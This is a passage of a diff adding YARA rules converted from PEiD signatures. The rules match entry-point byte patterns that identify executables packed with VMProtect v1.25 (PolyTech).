+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03258_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03259_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03260_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03261_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03262_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03263_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E0 66 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03264_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E8 66 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03265_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03266_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03267_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03268_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03269_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03270_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03271_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03272_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03273_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03274_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03275_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03276_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 36 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03277_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03278_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 36 8B 00 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03279_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03280_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E0 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03281_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03282_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9 01 7D 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03283_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03284_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03285_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03286_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03287_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03288_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F A5 D0 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03289_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F AD D0 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03290_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 F7 D0 F7 D2 21 D0 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03291_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03292_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03293_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03294_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03295_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 47 50 39 C5 0F 87 ?? ?? ?? ?? 8D 4F 40 29 E1 8D 45 80 29 C8 89 C4 9C 56 89 FE 8D BD 40 FF FF FF 57 FC F3 A4 5F 5E 9D E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03296_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 51 53 57 56 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03297_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 52 53 52 56 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03298_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 51 52 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03299_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 53 55 51 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03300_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 57 53 51 52 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 5E 59 5D 5A 59 5B 5F 58 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03301_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 52 56 50 53 56 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03302_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 53 50 52 56 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03303_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 55 57 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03304_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 53 52 50 55 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03305_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 55 52 50 55 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03306_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 51 56 57 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03307_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 53 51 55 57 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03308_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 55 51 53 53 57 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03309_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 51 57 53 50 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03310_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 53 55 53 51 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03311_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 52 51 55 56 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03312_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 55 56 51 57 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03313_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 51 52 55 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03314_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 55 56 56 57 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03315_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 56 56 50 55 51 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03316_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 57 50 55 56 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03317_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 50 52 56 51 50 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5B 5A 59 5E 5A 58 5D 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03318_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 52 56 53 57 51 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03319_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 56 53 57 52 51 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03320_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 57 53 52 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03321_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 50 52 51 57 53 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03322_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 52 55 51 50 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03323_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 53 55 51 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03324_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 52 53 56 50 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03325_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 51 55 52 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03326_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
